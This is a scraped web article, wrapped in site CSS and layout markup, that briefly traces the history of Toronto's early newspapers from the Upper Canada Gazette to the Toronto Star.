(max-width:767px){.tdi_71{margin-right:0px!important;margin-left:0px!important;padding-top:0px!important;padding-right:0px!important;padding-left:0px!important;width:100%!important}}</style>
608<div class="tdi_70_rand_style td-element-style" ><style>.tdi_70_rand_style{background-color:#ffffff!important}</style></div><div class="vc_column_inner tdi_73  wpb_column vc_column_container tdc-inner-column td-pb-span8">
609<style scoped>.tdi_73{vertical-align:baseline}.tdi_73 .vc_column-inner>.wpb_wrapper,.tdi_73 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_73 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}@media (max-width:767px){.tdi_73{margin-bottom:20px!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_single_content tdi_74 td-pb-border-top td-single-jump td_block_template_1 td-post-content tagdiv-type"  data-td-block-uid="tdi_74" >
610<style>.tdi_74{margin-top:0px!important}</style>
611<style>.tdb_single_content{margin-bottom:0;*zoom:1}.tdb_single_content:before,.tdb_single_content:after{display:table;content:'';line-height:0}.tdb_single_content:after{clear:both}.tdb_single_content .tdb-block-inner>*:not(.wp-block-quote):not(.alignwide):not(.alignfull.wp-block-cover.has-parallax):not(.td-a-ad){margin-left:auto;margin-right:auto}.tdb_single_content a{pointer-events:auto}.tdb_single_content .td-spot-id-top_ad .tdc-placeholder-title:before{content:'Article Top Ad'!important}.tdb_single_content .td-spot-id-inline_ad0 .tdc-placeholder-title:before{content:'Article Inline Ad 1'!important}.tdb_single_content .td-spot-id-inline_ad1 .tdc-placeholder-title:before{content:'Article Inline Ad 2'!important}.tdb_single_content .td-spot-id-inline_ad2 .tdc-placeholder-title:before{content:'Article Inline Ad 3'!important}.tdb_single_content .td-spot-id-bottom_ad .tdc-placeholder-title:before{content:'Article Bottom Ad'!important}.tdb_single_content .id_top_ad,.tdb_single_content .id_bottom_ad{clear:both;margin-bottom:21px;text-align:center}.tdb_single_content .id_top_ad img,.tdb_single_content .id_bottom_ad img{margin-bottom:0}.tdb_single_content .id_top_ad .adsbygoogle,.tdb_single_content .id_bottom_ad .adsbygoogle{position:relative}.tdb_single_content .id_ad_content-horiz-left,.tdb_single_content .id_ad_content-horiz-right,.tdb_single_content .id_ad_content-horiz-center{margin-bottom:15px}.tdb_single_content .id_ad_content-horiz-left img,.tdb_single_content .id_ad_content-horiz-right img,.tdb_single_content .id_ad_content-horiz-center img{margin-bottom:0}.tdb_single_content .id_ad_content-horiz-center{text-align:center}.tdb_single_content .id_ad_content-horiz-center img{margin-right:auto;margin-left:auto}.tdb_single_content .id_ad_content-horiz-left{float:left;margin-top:9px;margin-right:21px}.tdb_single_content .id_ad_content-horiz-right{float:right;margin-top:6px;margin-left:21px}.tdb_single_content .tdc-a-ad .tdc-placeholder-title{width:300px;height:250px}.tdb_single_content .tdc-a-ad .tdc-placeholder-title:before{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);margin:auto;display:table;width:100%}.tdb_single_content .tdb-block-inner.td-fix-index{word-break:break-word}.tdi_74,.tdi_74>p,.tdi_74 .tdb-block-inner>p{font-family:Volkhov!important;font-size:17px!important;line-height:1.8!important;font-weight:400!important}.tdi_74 h1{font-family:Montserrat!important}.tdi_74 h2{font-family:Montserrat!important}.tdi_74 h3:not(.tds-locker-title){font-family:Montserrat!important}.tdi_74 h4{font-family:Montserrat!important}.tdi_74 h5{font-family:Montserrat!important}.tdi_74 h6{font-family:Montserrat!important}.tdi_74 li{font-family:Volkhov!important;font-size:17px!important}.tdi_74 li:before{margin-top:1px;line-height:17px!important}.tdi_74 .tdb-block-inner blockquote p{font-family:Volkhov!important;font-size:17px!important;line-height:1.8!important;font-style:normal!important;font-weight:400!important;text-transform:none!important;color:#843c46}.tdi_74,.tdi_74 p{color:#172842}.tdi_74 h1,.tdi_74 h2,.tdi_74 h3:not(.tds-locker-title),.tdi_74 h4,.tdi_74 h5,.tdi_74 h6{color:#172842}.tdi_74 .wp-caption-text,.tdi_74 figcaption{color:#bcccd6}.tdi_74 a:not(.wp-block-button__link){color:#49c8d1}.tdi_74 a:not(.wp-block-button__link):hover{color:#e2687e}@media (max-width:767px){.tdb_single_content .id_ad_content-horiz-left,.tdb_single_content .id_ad_content-horiz-right,.tdb_single_content .id_ad_content-horiz-center{margin:0 auto 26px auto}}@media (max-width:767px){.tdb_single_content .id_ad_content-horiz-left{margin-right:0}}@media (max-width:767px){.tdb_single_content .id_ad_content-horiz-right{margin-left:0}}@media (max-width:767px){.tdb_single_content .td-a-ad{float:none;text-align:center}.tdb_single_content .td-a-ad img{margin-right:auto;margin-left:auto}.tdb_single_content .tdc-a-ad{float:none}}@media (min-width:768px) and (max-width:1018px){.tdi_74,.tdi_74>p,.tdi_74 .tdb-block-inner>p{font-size:15px!important}.tdi_74 li{font-size:15px!important}.tdi_74 li:before{margin-top:1px;line-height:15px!important}.tdi_74 .tdb-block-inner blockquote p{font-size:15px!important;line-height:1.4!important}}@media (max-width:767px){.tdi_74,.tdi_74>p,.tdi_74 .tdb-block-inner>p{font-size:15px!important}.tdi_74 li{font-size:15px!important}.tdi_74 li:before{margin-top:1px;line-height:15px!important}.tdi_74 .tdb-block-inner blockquote p{font-size:15px!important}}</style><div class="tdb-block-inner td-fix-index">
612<p>The future of Toronto’s newspapers might not seem particularly bright. However, there was a time when printed news spread as quickly as blogs do today. While not entirely comparable, newsp
612apers were undoubtedly more popular in the past than they are today. Read more on <a href="https://toronto1.one/">toronto1.one</a>.</p>
613
614
615
616<p>Focusing on international news delivered via telegraphs, the Atlantic, and irreverence borrowed from American tabloids, Toronto eventually developed its own distinctive style of reporting. By the turn of the century, modern print journalism thrived in Toronto. While early newspapers were often known for their conservative views and crime coverage more sensational than today’s Toronto Sun, they were also lauded for factual accuracy, international coverage, and a staunch advocacy for the separation of church and state. Let’s delve into some of Toronto’s earliest and most notable newspapers.</p>
617
618
619
620<div id="ez-toc-container" class="ez-toc-v2_0_74 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction">
621<label for="ez-toc-cssicon-toggle-item-6abe69bd13119" class="ez-toc-cssicon-toggle-label"><span class=""><span class="eztoc-hide" style="display:none;">Toggle</span><span class="ez-toc-icon-toggle-span"><svg style="fill: #999;color:#999" xmlns="http://www.w3.org/2000/svg" class="list-377408" width="20px" height="20px" viewBox="0 0 24 24" fill="none"><path d="M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z" fill="currentColor"></path></svg><svg style="fill: #999;color:#999" class="arrow-unsorted-368013" xmlns="http://www.w3.org/2000/svg" width="10px" height="10px" viewBox="0 0 24 24" version="1.2" baseProfile="tiny"><path d="M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z"/></svg></span></span></label><input type="checkbox"  id="ez-toc-cssicon-toggle-item-6abe69bd13119"  aria-label="Toggle" /><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class="ez-toc-link ez-toc-heading-1" href="#The_Upper_Canada_Gazette_1798%E2%80%931849" >The Upper Canada Gazette (1798–1849)</a></li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class="ez-toc-link ez-toc-heading-2" href="#Colonial_Advocate_1824%E2%80%931834" >Colonial Advocate (1824–1834)</a></li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class="ez-toc-link ez-toc-heading-3" href="#Toronto_Royal_Standard_1836%E2%80%931837" >Toronto Royal Standard (1836–1837)</a></li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class="ez-toc-link ez-toc-heading-4" href="#The_GlobeMail_and_EmpireGlobe_and_Mail_1844%E2%80%93Present" >The Globe/Mail and Empire/Globe and Mail (1844–Present)</a></li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class="ez-toc-link ez-toc-heading-5" href="#Toronto_Standard_and_General_Advertiser_1848%E2%80%931849" >Toronto Standard and General Advertiser (1848–1849)</a></li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class="ez-toc-link ez-toc-heading-6" href="#Toronto_Evening_TelegraphTelegram_1866%E2%80%931971" >Toronto Evening Telegraph/Telegram (1866–1971)</a></li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class="ez-toc-link ez-toc-heading-7" href="#Toronto_Daily_StarToronto_Star_1892%E2%80%93Present" >Toronto Daily Star/Toronto Star (1892–Present)</a></li></ul></nav></div>
622<h2 class="wp-block-heading"><span class="ez-toc-section" id="The_Upper_Canada_Gazette_1798%E2%80%931849"></span>The Upper Canada Gazette (1798–1849)<span class="ez-toc-section-end"></span></h2>
623
624
625
626<p>The Upper Canada Gazette, published between 1798 and 1849, was the first newspaper in the region. It served a purpose very different from today’s publications. According to a proclamation by John Graves Simcoe, the first lieutenant-governor of the area, the Gazette’s primary role was to print government decisions and actions, giving it a “semi-official status.” Despite being a weekly publication, it was known for its erratic publishing schedule and technical errors. Additionally, during the American occupation of Toronto in 1813–1814, the Gazette ceased operations temporarily.</p>
627
628
629
630<figure class="wp-block-image"><img decoding="async" src="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdi8zlzaszbo4myndz8mhizctxx08q4xua1vsgycmqa8kqrxph8ajyonjrfncpul1fcu5dsnwzyekjht6czxwtgjqokrrj2zpc8e6ctnjsqvljmlksnipdoyajdoctpsfuhtdd7wwkey93cb-0p5q04ptp8viyc69x1u.png" alt="" /></figure>
631
632
633
634<h2 class="wp-block-heading"><span class="ez-toc-section" id="Colonial_Advocate_1824%E2%80%931834"></span>Colonial Advocate (1824–1834)<span class="ez-toc-section-end"></span></h2>
635
636
637
638<p>The Colonial Advocate was first published on May 18, 1824, by William Lyon Mackenzie in Queenston, Ontario. This was the first of seven newspapers Mackenzie would publish. Two years later, as detailed on a commemorative plaque near Mackenzie’s home and press, political opponents raided the newsp
638aper’s offices following his attacks on the Family Compact. Courts awarded Mackenzie damages for the raid, allowing him to resume publication shortly thereafter. Mackenzie later became Toronto’s first mayor in 1834. The Advocate ceased publication in November that same year.</p>
639
640
641
642<p>In the early 1830s, the reform movement gained momentum, with the Colonial Advocate playing a central role in the Upper Canada Rebellion after Mackenzie exposed the self-serving interests of the Family Compact.</p>
643
644
645
646<h2 class="wp-block-heading"><span class="ez-toc-section" id="Toronto_Royal_Standard_1836%E2%80%931837"></span>Toronto Royal Standard (1836–1837)<span class="ez-toc-section-end"></span></h2>
647
648
649
650<p>The Toronto Royal Standard was Upper Canada’s first daily newspaper, operating from 1836 to 1837. Published by Sir Francis Bond Head, it was a staunchly conservative outlet, which was not unusual for the time. However, its operations ended prematurely when the assembly refused to fund £25 for preparing accurate daily parliamentary reports.</p>
651
652
653
654<h2 class="wp-block-heading"><span class="ez-toc-section" id="The_GlobeMail_and_EmpireGlobe_and_Mail_1844%E2%80%93Present"></span>The Globe/Mail and Empire/Globe and Mail (1844–Present)<span class="ez-toc-section-end"></span></h2>
655
656
657
658<p>Today’s Globe and Mail is the product of several mergers, including The Globe, The Mail, and The Empire, which consolidated in 1936. The Mail and Empire, itself a merger of the Toronto Mail and the Toronto Empire in 1895, never achieved the prominence of The Globe, widely considered to have ushered in the modern era of journalism in Toronto and Canada.</p>
659
660
661
662<figure class="wp-block-image"><img decoding="async" src="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxdmvaus6gpgrotjeex7tasrfli1edj0wccjobcqp2bemd6zedsggockpwttpvshp_nhe55hxzhempepf6wmdh1hbo5lpt2d9v7tv6jzniuvkvpkp_e_p1ocyfbcd_c28aui9xlirwkey93cb-0p5q04ptp8viyc69x1u.png" alt="" /></figure>
663
664
665
666<p>The Globe was founded in 1844 by George Brown, who secured funding from reformers. A savvy entrepreneur, Brown capitalized on new printing technologies and owned Ontario’s first modern printing press. By 1860, he published 3,000 copies daily. Brown’s use of transatlantic telegraphs for international news added sophistication to his paper. His policies advocated for church-state separation and laid the groundwork for Canada’s modern Liberal Party.</p>
667
668
669
670<h2 class="wp-block-heading"><span class="ez-toc-section" id="Toronto_Standard_and_General_Advertiser_1848%E2%80%931849"></span>Toronto Standard and General Advertiser (1848–1849)<span class="ez-toc-section-end"></span></h2>
671
672
673
674<p>The Toronto Standard and General Advertiser, a weekly published by James Northey, promoted conservative values and Protestant supremacy. Remarkably, the publication was revived as a “daily digital briefing” in April 2011 under Lee Polydor. However, its editorial values, style, and themes have since evolved significantly.</p>
675
676
677
678<figure class="wp-block-image"><img decoding="async" src="https://cdn.toronto1.one/wp-content/uploads/sites/35/2024/12/ad_4nxcjatxkzawg034mpgc5c4f-1ctzzjzvevkjfaelaphauijtpenguma12clazb-yn4va0fe6rsrihq8qjtcxkhrcnws7egy-myzvgtzbss41ebvn7qb5jmgtjd2bvd23pefvzjyafakey93cb-0p5q04ptp8viyc69x1u.png" alt="" /></figure>
679
680
681
682<h2 class="wp-block-heading"><span class="ez-toc-section" id="Toronto_Evening_TelegraphTelegram_1866%E2%80%931971"></span>Toronto Evening Telegraph/Telegram (1866–1971)<span class="ez-toc-section-end"></span></h2>
683
684
685
686<p>The Toronto Evening Telegraph, founded in 1866 by John Ross Robertson, aimed to rival The Globe by blending conservatism with sensationalism. Although initially unsuccessful, Robertson relaunched it as the Evening Telegram in 1876, later known as Tely. Designed for the “common man,” the Telegram adopted an American editorial style, transforming news into entertainment. Its content often defended Toronto’s treasury against “crackpot schemers.” In 1971, the Telegram unofficially became today’s Toronto Sun.</p>
687
688
689
690<h2 class="wp-block-heading"><span class="ez-toc-section" id="Toronto_Daily_StarToronto_Star_1892%E2%80%93Present"></span>Toronto Daily Star/Toronto Star (1892–Present)<span class="ez-toc-section-end"></span></h2>
691
692
693
694<p>Legend has it that The Evening Star, later renamed the Toronto Daily Star and eventually The Toronto Star, was created overnight by 21 printers and four teenage apprentices locked out during a labor dispute at The Afternoon News. Initially struggling to gain readership, the paper’s fortunes changed in 1899 when Joseph Atkinson became editor. Serving until 1948, Atkinson emphasized strong social values like welfare, healthcare, and pensions, shaping Canada’s modern social welfare system. In 1971, the Star adopted its current name and moved to its iconic 1 Yonge Street headquarters.</p>
695
696
697
698<p>Sources</p>
699
700
701
702<ul class="wp-block-list">
703<li><a href="https://www.blogto.com/city/2020/11/how-toronto-people-used-get-their-news-1800s-and-1900s/" target="_blank" rel="noopener">BlogTO: How Toronto People Used to Get Their News</a></li>
704
705
706
707<li><a href="https://www.torontojourney416.com/toronto-telegram/" target="_blank" rel="noopener">Toronto Journey 416</a></li>
708
709
710
711<li><a href="https://www.blogto.com/city/2020/11/how-toronto-people-used-get-their-news-1800s-and-1900s/" target="_blank" rel="noopener">BlogTO: Toronto’s Early Newspapers</a></li>
712</ul>
713</div></div><div class="td_block_wrap tdb_single_tags tdi_75 td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_75" >
714<style>.tdi_75{margin-bottom:20px!important;padding-right:50px!important;padding-left:50px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_75{padding-right:30px!important;padding-left:30px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_75{margin-bottom:10px!important;padding-right:20px!important;padding-left:20px!important}}@media (max-width:767px){.tdi_75{margin-bottom:10px!important;padding-right:10px!important;padding-left:10px!important}}</style>
715<style>.tdb_single_tags{margin-bottom:2px;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-weight:600}.tdb_single_tags span,.tdb_single_tags a{font-size:11px}.tdb_single_tags span{text-transform:uppercase}.tdb_single_tags a:hover{background-color:var(--td_theme_color,#4db2ec);border-color:var(--td_theme_color,#4db2ec);color:#fff}.tdb_single_tags ul{display:inline-block;margin:0;list-style-type:none;font-size:0}.tdb_single_tags li{display:inline-block;margin-left:0}.tdi_75 span{margin-right:4px;padding:3px 12px 4px;color:#fff;background-color:#49c8d1;font-family:Montserrat!important;font-size:13px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_75 a{margin-right:4px;padding:1px 7px 2px;border:0px solid #ededed;color:#90a0af;background-color:rgba(255,255,255,0);font-family:Montserrat!important;font-size:14px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_75 a:hover{color:#172842;background-color:rgba(255,255,255,0)}@media (min-width:1019px) and (max-width:1140px){.tdi_75 a{border:0px solid #ededed;font-size:12px!important}.tdi_75 span{font-size:12px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_75 a{border:0px solid #ededed;font-size:10px!important}.tdi_75 span{font-size:10px!important}}@media (max-width:767px){.tdi_75 a{border:0px solid #ededed;font-size:12px!important}.tdi_75 span{font-size:12px!important}}</style><div class="tdb-block-inner td-fix-index"><ul class="tdb-tags"><li><span>Tags</span></li><li>
715<a href="https://toronto1.one/en/tag/history">history</a></li><li><a href="https://toronto1.one/en/tag/history-of-the-newspaper">history of the newspaper</a></li><li><a href="https://toronto1.one/en/tag/journalists">journalists</a></li><li><a href="https://toronto1.one/en/tag/newspapers">newspapers</a></li><li><a href="https://toronto1.one/en/t/printing-houses">printing houses</a></li><li><a href="https://toronto1.one/en/tag/the-upper-canada-gazette-was-the-first-such-newspaper">The Upper Canada Gazette was the first such newspaper</a></li><li><a href="https://toronto1.one/en/t/what-were-torontos-first-newspapers-about">What were Toronto's first newspapers about?</a></li></ul></div></div><div class="td_block_wrap tdb_single_next_prev tdi_76 td-animation-stack td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_76" >
716<style>.tdi_76{margin-right:50px!important;margin-bottom:0px!important;margin-left:50px!important;padding-top:40px!important;padding-right:30px!important;padding-bottom:50px!important;padding-left:30px!important;position:relative}@media (min-width:1019px) and (max-width:1140px){.tdi_76{margin-right:30px!important;margin-left:30px!important;padding-top:30px!important;padding-right:20px!important;padding-bottom:40px!important;padding-left:20px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_76{margin-right:20px!important;margin-left:20px!important;padding-top:20px!important;padding-right:15px!important;padding-bottom:30px!important;padding-left:15px!important}}@media (max-width:767px){.tdi_76{margin-right:10px!important;margin-left:10px!important;padding-top:20px!important;padding-right:15px!important;padding-bottom:30px!important;padding-left:15px!important}}</style>
717<style>.tdb_single_next_prev{*zoom:1}.tdb_single_next_prev:before,.tdb_single_next_prev:after{display:table;content:'';line-height:0}.tdb_single_next_prev:after{clear:both}.tdb-next-post{font-family:var(--td_default_google_font_2,'Roboto',sans-serif);width:48%;float:left;transform:translateZ(0);-webkit-transform:translateZ(0);min-height:1px;line-height:1}.tdb-next-post span{display:block;font-size:12px;color:#747474;margin-bottom:7px}.tdb-next-post a{font-size:15px;color:#222;line-height:21px;-webkit-transition:color 0.2s ease;transition:color 0.2s ease}.tdb-next-post a:hover{color:var(--td_theme_color,#4db2ec)}.tdb-post-next{margin-left:2%;text-align:right}.tdb-post-prev{margin-right:2%}.tdb-post-next .td-image-container{display:inline-block}.tdi_76 .td-module-container{display:flex;flex-direction:column}.tdi_76 .tdb-post-next .td-module-container{align-items:flex-end}.tdi_76 .td-image-container{display:block;order:0}.ie10 .tdi_76 .next-prev-title,.ie11 .tdi_76 .next-prev-title{flex:auto}.tdi_76 .tdb-next-post a{color:#172842;font-family:Montserrat!important;font-size:16px!important;font-weight:800!important}.tdi_76 .tdb-next-post:hover a{color:#e2687e}.tdi_76 .tdb-next-post span{color:#90a0af;font-family:Montserrat!important;font-size:12px!important;text-transform:uppercase!important}.tdi_76 .td-module-title a{box-shadow:inset 0 0 0 0 #000}@media (min-width:768px){.tdi_76 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}@media (min-width:1019px) and (max-width:1140px){.tdi_76 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_76 .tdb-next-post a{font-size:14px!important}@media (min-width:768px){.tdi_76 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (min-width:768px) and (max-width:1018px){.tdi_76 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_76 .tdb-next-post a{font-size:12px!important}@media (min-width:768px){.tdi_76 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}@media (max-width:767px){.tdi_76 .td-module-title a{box-shadow:inset 0 0 0 0 #000}.tdi_76 .tdb-next-post a{font-size:12px!important;line-height:1.3!important}.tdi_76 .tdb-next-post span{font-size:10px!important}@media (min-width:768px){.tdi_76 .td-module-title a{transition:all 0.2s ease;-webkit-transition:all 0.2s ease}}}</style>
718<div class="tdi_76_rand_style td-element-style"><style>
719.tdi_76_rand_style{
720background-color:#f4f4f4 !important;
721}
722 </style></div><div class="tdb-block-inner td-fix-index"><div class="tdb-next-post tdb-next-post-bg tdb-post-prev"><span>Previous article</span><div class="td-module-container"><div class="next-prev-title">
722<a href="https://toronto1.one/en/eternal/the-first-bank-in-toronto-3762">The First Bank in Toronto</a></div></div></div><div class="tdb-next-post tdb-next-post-bg tdb-post-next"><span>Next article</span><div class="td-module-container"><div class="next-prev-title"><a href="https://toronto1.one/en/eternal/george-weston-canadian-businessman-and-founder-of-george-weston-limited-3682">George Weston – Canadian Businessman and Founder of George Weston Limited</a></div></div></div></div></div><div class="tdb-author-box td_block_wrap tdb_single_author_box tdi_77 tdb-content-vert-top td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_77" >
723<style>.tdi_77{box-shadow:0 4px 20px rgba(0,0,0,0.1)!important;z-index:1!important;position:relative}@media (max-width:767px){.tdi_77{justify-content:center!important;text-align:center!important;box-shadow:0 4px 20px rgba(0,0,0,0.1)!important}}@media (min-width:768px) and (max-width:1018px){.tdi_77{margin-bottom:30px!important;box-shadow:0 4px 20px rgba(0,0,0,0.1)!important}}</style>
724<style>.tdb-author-box .tdb-author-photo,.tdb-author-box .tdb-author-info{display:table-cell;vertical-align:top}.tdb-author-box .tdb-author-photo img{display:block}.tdb-author-box .tdb-author-counters span{display:inline-block;background-color:#222;margin:0 10px 0 0;padding:5px 10px 4px;font-family:var(--td_default_google_font_2,'Roboto',sans-serif);font-size:11px;font-weight:700;line-height:1;color:#fff}.tdb-author-box .tdb-author-name,.tdb-author-box .tdb-author-url{display:block}.tdb-author-box .tdb-author-name{margin:7px 0 8px;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:15px;line-height:21px;font-weight:700;color:#222}.tdb-author-box .tdb-author-name:hover{color:#4db2ec}.tdb-author-box .tdb-author-url{margin-bottom:6px;font-size:11px;font-style:italic;line-height:21px;color:#444}.tdb-author-box .tdb-author-url:hover{color:#4db2ec}.tdb-author-box .tdb-author-descr{font-size:12px}.tdb-author-box .tdb-author-social{margin-top:4px}.tdb-author-box .tdb-social-item{position:relative;display:inline-block;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdb-author-box .tdb-social-item:last-child{margin-right:0!important}.tdb-author-box .tdb-social-item i{color:#000;-webkit-transition:all 0.2s;transition:all 0.2s}.tdb-author-box .tdb-social-item:hover i{color:#000}.tdi_77{padding:30px 40px 30px 30px;border:0px solid #ededed}.tdi_77 .tdb-author-info{width:auto;padding-bottom:0;padding-left:20px}.tdi_77 .tdb-author-photo{width:115px;transform:translateZ(0);-webkit-transform:translateZ(0);pointer-events:auto}.tdi_77 .avatar,.tdi_77 .tdb-author-photo:before,.tdi_77 .tdb-author-photo:after{border-radius:100px}.tdi_77 .tdb-author-name{color:#172842;margin:10px 0 15px 0;font-family:Montserrat!important;font-size:24px!important;font-weight:800!important}.tdi_77 .tdb-author-name:hover{color:#e2687e}.tdi_77 .tdb-author-url{color:#bcccd6;font-family:Montserrat!important;font-size:12px!important;font-style:normal!important}.tdi_77 .tdb-author-url:hover{color:#e2687e}.tdi_77 .tdb-author-descr{color:#90a0af;font-family:Volkhov!important;font-size:15px!important;font-weight:300!important}.tdi_77 .tdb-social-item i{font-size:15px;vertical-align:middle;line-height:15px;color:#e2687e}.tdi_77 .tdb-social-item i.td-icon-twitter,.tdi_77 .tdb-social-item i.td-icon-linkedin,.tdi_77 .tdb-social-item i.td-icon-pinterest,.tdi_77 .tdb-social-item i.td-icon-blogger,.tdi_77 .tdb-social-item i.td-icon-vimeo{font-size:12px}.tdi_77 .tdb-social-item{min-width:15px;height:15px;margin:10px 20px 10px 0}.tdi_77 .tdb-social-item:hover i{color:#172842}.tdi_77 .tdb-author-photo:hover:before{opacity:0}@media (min-width:1019px) and (max-width:1140px){.tdi_77{border:0px solid #ededed}.tdi_77 .tdb-author-photo{width:100px}.tdi_77 .tdb-author-name{font-size:20px!important}.tdi_77 .tdb-author-descr{font-size:13px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_77{padding:20px 30px 20px 20px;border:0px solid #ededed}.tdi_77 .tdb-author-photo{width:60px}.tdi_77 .tdb-social-item i{font-size:13px;vertical-align:middle;line-height:13px}.tdi_77 .tdb-social-item i.td-icon-twitter,.tdi_77 .tdb-social-item i.td-icon-linkedin,.tdi_77 .tdb-social-item i.td-icon-pinterest,.tdi_77 .tdb-social-item i.td-icon-blogger,.tdi_77 .tdb-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_77 .tdb-social-item{min-width:13px;height:13px}.tdi_77 .tdb-author-name{font-size:20px!important}.tdi_77 .tdb-author-url{font-size:10px!important}.tdi_77 .tdb-author-descr{font-size:11px!important}}@media (max-width:767px){.tdi_77{padding:30px 20px 30px 20px;border:0px solid #ededed}.tdi_77 .tdb-author-photo{display:inline-block;width:96px;transform:translateZ(0);-webkit-transform:translateZ(0)}.tdi_77 .tdb-author-info{display:inline-block;width:100%;padding-top:20px;padding-left:0}.tdi_77 .tdb-author-name{margin:0 0 5px 0;font-size:18px!important}.tdi_77 .tdb-author-descr{margin:15px 0 0 0;font-size:13px!important}.tdi_77 .tdb-author-url{font-size:10px!important}}</style>
725<div class="tdi_77_rand_style td-element-style"><style>
726.tdi_77_rand_style{
727background-color:#ffffff !important;
728}
729 </style></div><div class="tdb-block-inner td-fix-index">
729<a href="https://toronto1.one/en/author/amara-singh" class="tdb-author-photo" title="Amara Singh"><img alt='Amara Singh' src='https://secure.gravatar.com/avatar/24d6c1b7df6cc094e7b8d79718afbef08625ea873b15d7c7180b3df455f7ab41?s=96&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/24d6c1b7df6cc094e7b8d79718afbef08625ea873b15d7c7180b3df455f7ab41?s=96&#038;d=mm&#038;r=g 2x' class='avatar avatar-96 photo' height='96' width='96'  decoding='async'/></a><div class="tdb-author-info"><a href="https://toronto1.one/en/author/amara-singh" class="tdb-author-name">Amara Singh</a><div class="tdb-author-descr"></div><div class="tdb-author-social"></div></div></div></div><div class="tdm_block td_block_wrap tdm_block_column_title tdi_78 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_78" >
730<style>.tdi_78{margin-bottom:16px!important}</style>
731<style>.tdm_block_column_title{margin-bottom:0;display:inline-block;width:100%}</style><div class="td-block-row"><div class="td-block-span12 tdm-col">
732<style>body .tdi_79 .tdm-title{background-color:#172842;-webkit-background-clip:text;-webkit-text-fill-color:transparent}html[class*='ie'] .tdi_79 .tdm-title{background:none;color:#172842}.tdi_79 .tdm-title{font-family:Montserrat!important;font-size:36px!important;line-height:1.2!important;font-weight:800!important}@media (min-width:1019px) and (max-width:1140px){.tdi_79 .tdm-title{font-size:30px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_79 .tdm-title{font-size:24px!important}}@media (max-width:767px){.tdi_79 .tdm-title{font-size:28px!important}}</style><div class="tds-title tds-title1 td-fix-index tdi_79 "><h3 class="tdm-title tdm-title-sm">More from author</h3></div></div></div></div><div class="td_block_wrap tdb_single_related_author tdi_80 td_with_ajax_pagination td-pb-border-top td-gadgets-loop td_block_template_1 tdb-single-related-posts"  data-td-block-uid="tdi_80" >
733<style>@media (min-width:768px) and (max-width:1018px){.tdi_80{margin-bottom:20px!important}}@media (min-width:1019px) and (max-width:1140px){.tdi_80{margin-bottom:40px!important}}</style>
734<style>.tdb-single-related-posts{display:inline-block;width:100%;padding-bottom:0;overflow:visible}.tdb-single-related-posts .tdb-block-inner:after,.tdb-single-related-posts .tdb-block-inner .td_module_wrap:after{content:'';display:table;clear:both}.tdb-single-related-posts .td-module-container{display:flex;flex-direction:column;position:relative}.tdb-single-related-posts .td-module-container:before{content:'';position:absolute;bottom:0;left:0;width:100%;height:1px}.tdb-single-related-posts .td-image-wrap{display:block;position:relative;padding-bottom:70%}.tdb-single-related-posts .td-image-container{position:relative;flex:0 0 100%;width:100%;height:100%}.tdb-single-related-posts .td-module-thumb{margin-bottom:0}.tdb-single-related-posts .td-module-meta-info{padding:7px 0 0 0;margin-bottom:0;z-index:1;border:0 solid #eaeaea}.tdb-single-related-posts .tdb-author-photo{display:inline-block}.tdb-single-related-posts .tdb-author-photo,.tdb-single-related-posts .tdb-author-photo img{vertical-align:middle}.tdb-single-related-posts .td-post-author-name,.tdb-single-related-posts .td-post-date,.tdb-single-related-posts .td-module-comments{vertical-align:text-top}.tdb-single-related-posts .entry-review-stars{margin-left:6px;vertical-align:text-bottom}.tdb-single-related-posts .td-author-photo{display:inline-block;vertical-align:middle}.tdb-single-related-posts .td-thumb-css{width:100%;height:100%;position:absolute;background-size:cover;background-position:center center}.tdb-single-related-posts .td-category-pos-image .td-post-category,.tdb-single-related-posts 